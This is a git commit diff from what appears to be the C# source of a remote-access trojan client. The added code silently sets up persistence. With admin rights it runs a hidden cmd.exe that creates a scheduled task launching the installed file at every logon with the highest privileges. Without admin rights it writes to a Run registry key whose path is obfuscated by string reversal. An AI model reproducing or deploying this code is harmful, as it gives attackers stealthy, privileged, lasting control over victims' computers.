added schtasks
This commit is contained in:
parent
9b40743212
commit
d276ddc75d
@ -36,10 +36,26 @@ namespace Client.Install
|
|||||||
Debug.WriteLine("NormalStartup Error : " + P.ProcessName);
|
Debug.WriteLine("NormalStartup Error : " + P.ProcessName);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if (Methods.IsAdmin())
|
||||||
|
{
|
||||||
|
Process proc = new Process
|
||||||
|
{
|
||||||
|
StartInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
FileName = "cmd.exe",
|
||||||
|
Arguments = "/c schtasks /create /f /sc ONLOGON /RL HIGHEST /tn " + @"""'" + Settings.InstallFile + @"""'" + " /tr " + @"""'" + installfullpath + @"""'",
|
||||||
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
CreateNoWindow = true,
|
||||||
|
}
|
||||||
|
};
|
||||||
|
proc.Start();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
|
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
|
||||||
{
|
{
|
||||||
key.SetValue(Path.GetFileName(installfullpath), "\"" + installfullpath + "\"");
|
key.SetValue(Settings.InstallFile, "\"" + installfullpath + "\"");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
FileStream fs;
|
FileStream fs;
|
||||||
|
Loading…
x
Reference in New Issue
Block a user